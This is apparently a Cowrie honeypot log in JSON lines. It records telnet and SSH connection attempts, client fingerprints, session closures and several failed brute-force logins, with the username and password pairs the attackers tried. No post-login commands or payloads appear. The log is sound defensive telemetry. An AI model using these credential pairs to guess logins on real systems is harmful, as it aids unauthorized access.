{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41872,"dst_ip":"159.203.135.109","dst_port":23,"session":"c74b75e728c8","protocol":"telnet","message":"New connection: 38.60.198.128:41872 (159.203.135.109:23) [session: c74b75e728c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:44.136480Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":57650,"dst_ip":"10.17.0.5","dst_port":22,"session":"b097381d1e5b","protocol":"ssh","message":"New connection: 94.156.152.18:57650 (10.17.0.5:22) [session: b097381d1e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:44.813285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:44.818197Z","src_ip":"94.156.152.18","session":"b097381d1e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:44.992925Z","src_ip":"94.156.152.18","session":"b097381d1e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50662,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f99e5891343","protocol":"telnet","message":"New connection: 45.81.23.16:50662 (10.17.0.5:23) [session: 0f99e5891343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:45.026639Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU16GBAMD","message":"login attempt [root/XYZZ4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:45.534014Z","src_ip":"94.156.152.18","session":"b097381d1e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50676,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb39fefcb07","protocol":"telnet","message":"New connection: 45.81.23.16:50676 (10.17.0.5:23) [session: 1bb39fefcb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:46.298758Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:46.669605Z","src_ip":"94.156.152.18","session":"b097381d1e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47032,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc69d75ed8cc","protocol":"telnet","message":"New connection: 38.60.198.128:47032 (159.203.135.109:23) [session: bc69d75ed8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:48.912946Z"}
{"eventid":"cowrie.session.closed","duration":3.686002254486084,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:49.984672Z","src_ip":"45.81.23.16","session":"1bb39fefcb07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50944,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f488ff3db6","protocol":"telnet","message":"New connection: 38.60.198.128:50944 (159.203.135.109:23) [session: 89f488ff3db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:51.381338Z"}
{"eventid":"cowrie.session.closed","duration":44.950623750686646,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:55.206712Z","src_ip":"38.60.198.128","session":"b1d766d6964e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50acb2c3ff7","protocol":"ssh","message":"New connection: 176.65.132.129:59388 (10.17.0.5:22) [session: d50acb2c3ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:00.204958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:00.209978Z","src_ip":"176.65.132.129","session":"d50acb2c3ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:00.293752Z","src_ip":"176.65.132.129","session":"d50acb2c3ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.93357443809509,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:00.724781Z","src_ip":"192.211.53.160","session":"a5a46d1d8c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.390764236450195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:05.188771Z","src_ip":"38.60.198.128","session":"4f5cf1f13f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38298,"dst_ip":"159.203.135.109","dst_port":23,"session":"02337892775c","protocol":"telnet","message":"New connection: 38.60.198.128:38298 (159.203.135.109:23) [session: 02337892775c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:05.444474Z"}
{"eventid":"cowrie.session.closed","duration":52.08661866188049,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:05.980009Z","src_ip":"38.60.198.128","session":"74fdf4dc3d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0327c32d3e","protocol":"telnet","message":"New connection: 45.81.23.16:37860 (10.17.0.5:23) [session: 5d0327c32d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:06.181475Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37876,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d724e5cac1","protocol":"telnet","message":"New connection: 45.81.23.16:37876 (10.17.0.5:23) [session: 13d724e5cac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:06.719686Z"}
{"eventid":"cowrie.session.closed","duration":40.112741470336914,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:06.791907Z","src_ip":"38.60.198.128","session":"38fc51f6f555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:08.204508Z","src_ip":"176.65.132.129","session":"d50acb2c3ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.78323268890381,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:12.545350Z","src_ip":"38.60.198.128","session":"bb2683f69447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":37100,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ff5f60b558e","protocol":"ssh","message":"New connection: 57.128.222.14:37100 (159.203.135.109:22) [session: 8ff5f60b558e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:12.690355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:12.694688Z","src_ip":"57.128.222.14","session":"8ff5f60b558e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:12.802467Z","src_ip":"57.128.222.14","session":"8ff5f60b558e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsxedc","message":"login attempt [admin/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:13.257104Z","src_ip":"57.128.222.14","session":"8ff5f60b558e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.4042580127716064,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:13.585596Z","src_ip":"45.81.23.16","session":"5d0327c32d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:14.364525Z","src_ip":"57.128.222.14","session":"8ff5f60b558e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.834369659423828,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:14.553952Z","src_ip":"45.81.23.16","session":"13d724e5cac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54880,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6a89128127d","protocol":"telnet","message":"New connection: 38.60.198.128:54880 (159.203.135.109:23) [session: d6a89128127d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:18.005332Z"}
{"eventid":"cowrie.session.closed","duration":37.352264404296875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:18.454926Z","src_ip":"38.60.198.128","session":"5e086dff8d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56548,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fdd8e2accef","protocol":"telnet","message":"New connection: 38.60.198.128:56548 (159.203.135.109:23) [session: 9fdd8e2accef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:19.124969Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"8647fa93e37c","protocol":"ssh","message":"New connection: 198.98.56.227:50642 (10.17.0.5:22) [session: 8647fa93e37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:19.358901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:19.376429Z","src_ip":"198.98.56.227","session":"8647fa93e37c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:19.562300Z","src_ip":"198.98.56.227","session":"8647fa93e37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"12345","message":"login attempt [user2/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:20.288471Z","src_ip":"198.98.56.227","session":"8647fa93e37c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:21.301471Z","src_ip":"198.98.56.227","session":"8647fa93e37c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60898,"dst_ip":"159.203.135.109","dst_port":23,"session":"012b026ae074","protocol":"telnet","message":"New connection: 38.60.198.128:60898 (159.203.135.109:23) [session: 012b026ae074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:23.417601Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34642,"dst_ip":"159.203.135.109","dst_port":23,"session":"a786850b3bef","protocol":"telnet","message":"New connection: 38.60.198.128:34642 (159.203.135.109:23) [session: a786850b3bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:24.004370Z"}
{"eventid":"cowrie.session.closed","duration":34.5677547454834,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:25.948991Z","src_ip":"38.60.198.128","session":"89f488ff3db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35484,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cadd9034953","protocol":"telnet","message":"New connection: 192.211.53.160:35484 (159.203.135.109:23) [session: 5cadd9034953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:26.937279Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35500,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4ff0b37d25","protocol":"telnet","message":"New connection: 192.211.53.160:35500 (159.203.135.109:23) [session: ff4ff0b37d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:26.944280Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39264,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3de099b1a81","protocol":"telnet","message":"New connection: 38.60.198.128:39264 (159.203.135.109:23) [session: d3de099b1a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:27.448976Z"}
{"eventid":"cowrie.session.closed","duration":44.071903467178345,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:28.208304Z","src_ip":"38.60.198.128","session":"c74b75e728c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.37428617477417,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:29.287109Z","src_ip":"38.60.198.128","session":"bc69d75ed8cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45610,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa4aeb327ff","protocol":"telnet","message":"New connection: 38.60.198.128:45610 (159.203.135.109:23) [session: 5fa4aeb327ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:31.991067Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7327dc5879d","protocol":"telnet","message":"New connection: 192.211.53.160:37656 (159.203.135.109:23) [session: b7327dc5879d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:36.556129Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":40804,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dc994922714","protocol":"telnet","message":"New connection: 45.81.23.16:40804 (10.17.0.5:23) [session: 9dc994922714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:36.802216Z"}
{"eventid":"cowrie.session.closed","duration":53.95552897453308,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:38.982050Z","src_ip":"45.81.23.16","session":"0f99e5891343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":40618,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60b1f00764d","protocol":"telnet","message":"New connection: 192.211.53.160:40618 (159.203.135.109:23) [session: b60b1f00764d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:47.832862Z"}
{"eventid":"cowrie.session.closed","duration":44.20492148399353,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:49.649279Z","src_ip":"38.60.198.128","session":"02337892775c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ca0ab51f6c","protocol":"telnet","message":"New connection: 38.60.198.128:41852 (159.203.135.109:23) [session: e7ca0ab51f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:51.357248Z"}
{"eventid":"cowrie.session.closed","duration":2.377741575241089,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:53.734861Z","src_ip":"38.60.198.128","session":"e7ca0ab51f6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46320,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e838939b191","protocol":"telnet","message":"New connection: 38.60.198.128:46320 (159.203.135.109:23) [session: 5e838939b191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:34:54.790239Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50674,"dst_ip":"159.203.135.109","dst_port":23,"session":"df66c9ada3a4","protocol":"telnet","message":"New connection: 38.60.198.128:50674 (159.203.135.109:23) [session: df66c9ada3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:00.321089Z"}
{"eventid":"cowrie.session.closed","duration":42.69093132019043,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:00.696207Z","src_ip":"38.60.198.128","session":"d6a89128127d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.24997115135193,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:01.667465Z","src_ip":"38.60.198.128","session":"012b026ae074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37396,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7f340d3349","protocol":"ssh","message":"New connection: 176.65.132.129:37396 (10.17.0.5:22) [session: ea7f340d3349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.264419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:02.269864Z","src_ip":"176.65.132.129","session":"ea7f340d3349","protocol":"ssh"}
